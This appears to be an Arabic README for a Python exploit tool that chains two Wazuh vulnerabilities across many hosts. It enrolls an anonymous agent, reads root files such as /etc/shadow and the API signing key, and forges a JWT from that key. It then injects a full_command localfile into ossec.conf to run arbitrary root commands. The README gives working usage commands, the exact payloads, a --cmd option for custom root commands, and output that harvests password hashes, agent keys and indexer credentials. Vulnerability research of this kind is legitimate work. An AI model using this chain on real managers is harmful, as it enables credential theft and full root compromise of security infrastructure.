
Wazuh PoC يربط بين قراءة الملفات عبر CVE-2026-74034 وتنفيذ الأوامر عبر CVE-2026-74041؛ تم إصلاحه في 4.14.8. مكتبة Python القياسية فقط.
ملف واحد، يعتمد على المكتبة القياسية فقط، PoC متعدد المضيفين يربط بين CVE-2026-74034 و CVE-2026-74041. نُشر كلا التنبيهين في 13 أكتوبر 2026؛ وصدرت الإصلاحات في Wazuh 4.14.8 في 23 سبتمبر 2026. الإصدار 4.14.8 هو الإصدار المُرقَّع، وليس هدفًا متأثرًا.
ينفّذ السكربت السلسلة التالية عندما تكون خدمات المدير المطلوبة قابلة للوصول ويكون تسجيل الوكلاء بدون كلمة مرور مُفعَّلًا:
recon :55000/:1515/:1514
│
├─ Phase 2 anonymous enrollment on TCP/1515 (TLS) ──► agent id + 64-hex key
│
├─ Phase 3 OSSEC agent secure channel on TCP/1514 ──► CVE-2026-74034
│ queue 'u' (UPGRADE_MQ) upgrade_custom arbitrary ROOT file read
│ with parameters.file_path = /etc/shadow …
│
└─ Phase 4 ES512 JWT forged from the leaked ──► CVE-2026-74041
/var/ossec/api/configuration/security/ ROOT RCE via the
private_key.pem → PUT /manager/configuration check_remote_commands
parser differential (+ restart) parser differential
لا حاجة إلى بيانات اعتماد موجودة مسبقًا عندما يكون تسجيل authd الافتراضي بدون كلمة مرور قابلًا للوصول (<auth><use_password>no</use_password>).
تغيّر كلمة مرور التسجيل أو شهادة العميل المطلوبة هذا الشرط المسبق.
يتطلب CVE-2026-74041 وحده مستخدم API مُصادَقًا لديه إذن تحديث التكوين؛ في هذه السلسلة، يتبع الوصول إلى API الكشف عن مفتاح التوقيع.
| CVE | CVSS / المتجه | المتأثر | وصف موجز |
|---|---|---|---|
| CVE-2026-74034 | 7.5، PR:N | >=4.1.0 <4.14.8 | يُفتح parameters.file_path في upgrade_custom بواسطة ROOT عبر wm_agent_upgrade مع فحص وجود wfopen() فقط ويُعاد بثّه إلى الوكيل المسجَّل → قراءة تعسفية لملفات الجذر |
| CVE-2026-74041 | 9.1 (CVSS 3.1)، PR:H | >=4.14.3 <4.14.8 | يقبل check_remote_commands وسم <LOG_FORMAT> بأحرف كبيرة يفوته المدقّق البايثوني الحسّاس لحالة الأحرف لكن جامع السجلات C غير الحسّاس لحالة الأحرف يلتزم به → full_command localfile بصلاحيات الجذر |
يصف نطاقا الإصدارين العيبين الفرديين؛ التداخل الموثّق
للسلسلة الكاملة هو >=4.14.3 <4.14.8. الاستشارات الأخرى خارج نطاق هذا PoC.
pip، بدون pycryptodome، بدون cryptography).1515، 1514، 55000.# single host
python3 wazuh_poc.py 192.0.2.10
python3 wazuh_poc.py 192.0.2.10 --port 55000
python3 wazuh_poc.py https://192.0.2.10:55000
python3 wazuh_poc.py 192.0.2.10:55000
# many hosts, one per line ('#' comments allowed)
python3 wazuh_poc.py -f hosts.txt --threads 10
# phases 1-3 only (no config write / restart)
python3 wazuh_poc.py -f hosts.txt --no-rce
# leave the uploaded config / marker in place (NO cleanup)
python3 wazuh_poc.py 192.0.2.10 --keep
# override the phase-4 root command
python3 wazuh_poc.py 192.0.2.10 --cmd 'id; hostname > /var/ossec/etc/lists/zz_pwned 2>&1'
| العلم | الافتراضي | المعنى |
|---|---|---|
--port | 55000 | منفذ Wazuh REST API |
--authd-port | 1515 | منفذ تسجيل authd |
--remoted-port | 1514 | منفذ القناة الآمنة للوكيل |
--timeout | 10 | مهلة المقبس (ثانية) |
--agent-name | poc-<rand8> | الاسم المسجَّل على المدير |
--cmd | (id; hostname) > …/zz_pwned | أمر الجذر في المرحلة 4 |
--no-rce | معطّل | تخطّي المرحلة 4 |
--keep | معطّل | لا تستعد ossec.conf / ولا تحذف العلامة |
--debug | معطّل | إظهار رسائل البروتوكول |
--threads | 5 | التوازي بين المضيفين |
--api-user | wazuh | اسم المستخدم المراد وضعه في JWT المزوّر |
الخروج دائمًا سلس لكل مضيف: يُبلَّغ عن الرفض، أو authd المحمي بكلمة مرور، أو النسخة المرقّعة، أو عدم تطابق التشفير مع تحديد نقطة الحجب الدقيقة، ويستمر التشغيل مع المضيفين المتبقين.
يفحص TCP 55000 (API)، و1515 (authd)، و1514 (remoted). يطلب GET / مع
تعطيل التحقق من TLS ويبلّغ عن api_version عندما تكشف API عنها
دون مصادقة. في البِنى المُحصّنة يُرجع GET / الرمز 401؛ عندئذٍ تُستعاد نسخة
المدير الحقيقية في المرحلة 3 من /var/ossec/VERSION.json وتُعلَّم مقابل
4.14.8.
اتصال TLS (authd في 4.4+ يعمل بـ TLS فقط؛ ويعيد السكربت أيضًا محاولة TCP العادي
للبِنى القديمة جدًا)، ثم OSSEC A:'<name>'\n. يردّ المدير بـ
OSSEC K:'<id> <name> <ip> <key>'؛ ويحتفظ السكربت بمفتاح الوكيل المكوّن من 64 خانة سداسية عشرية.
يعيد إنتاج تشفير وكيل Wazuh من src/os_crypto/shared/msgs.c:
[4-byte little-endian length][payload]!<id>!#AES:<ciphertext> للوكلاء الديناميكيين (ip=any)MD5(agent_key_hex) (32 بايت ASCII)، IV FEDCBA0987654321،
PKCS#7!…! + zlib(MD5_hex(plain) + "%05rand%010global:%04local:" + msg)يرسل #!-agent startup {"version":"v4.14.6"} ورسالة keepalive تحمل منصة/معمارية Ubuntu
حتى يصبح الوكيل active في قاعدة البيانات العامة، ثم مهمة قائمة u
(UPGRADE_MQ):
{"command":"upgrade_custom","parameters":{"file_path":"/etc/shadow","installer":"upgrade.sh"}}
يقوم analysisd بإعادة توجيهه إلى WM_UPGRADE_SOCK؛ يفتح wazuh-modulesd الجذر الملف
(wfopen، دون فحوصات للمسار/الامتداد/التوقيع) ويبثّ البايتات الخام مرة أخرى كأجزاء
write بترميز base64. تعيد الأداة تجميعها وتطبع أسطر [ACC] مباشرةً:
| الملف | المعالجة |
|---|---|
/etc/shadow | أسطر root: / wazuh: فقط (تُطبع التجزئة كاملةً) |
/var/ossec/etc/client.keys | كامل (مقتطع إلى 25 سطرًا، مع عدّ البايتات) |
/var/ossec/etc/authd.pass | كامل (غائب عند التسجيل المجهول) |
/var/ossec/api/configuration/security/private_key.pem | كامل |
/var/ossec/etc/ossec.conf | <key> الخاص بالعنقود، وبيانات اعتماد الـ indexer، وكلمة مرور <auth> |
/var/ossec/VERSION.json | بديل احتياطي للإصدار لأغراض الاستطلاع |
بين الملفات ترسل الأداة upgrade_update_status (وإلا يبقي مدير المهام
الوكيل في حالة In progress ويرفض المهمة التالية).
iss=wazuh، aud="Wazuh API REST"، sub=wazuh، rbac_roles=[1]،
rbac_mode=white، exp-nbf=900). يُتحقق منه عبر GET /agents.GET /manager/configuration?raw=true، وأدرج قبل آخر
</ossec_config> عنصر <localfile> يحتوي على <log_format>syslog</log_format>
بحروف صغيرة كطُعم، و<LOG_FORMAT>full_command</LOG_FORMAT> بحروف كبيرة مع الأمر.PUT /manager/configuration (application/octet-stream)، ثم PUT /manager/restart.GET /lists/files/zz_pwned?raw=true للحصول على مخرجات الأمر الجذر.--keep: نفّذ PUT لملف ossec.conf الأصلي، وأعد التشغيل، ثم
DELETE /lists/files/zz_pwned (مع إعادات المحاولة حتى يزول العلامة).[+] (الحالة)، و[ACC] (الوصول/الأسرار
المجمّعة)، و[!] (تحذير)، و[-] (فشل)، مع بادئة اسم المضيف.findings.jsonl بجوار الأداة: كائن JSON واحد لكل مضيف يتضمن
version، وagent_id، وagent_key (عند نجاح التسجيل)، وaccesses،
وfindings، وok، وerror الاختياري. تعامل مع الملف على أنه حساس.ok إلى قراءة ملف واحد على الأقل، وليس إلى تنفيذ أوامر عن بُعد مؤكَّد.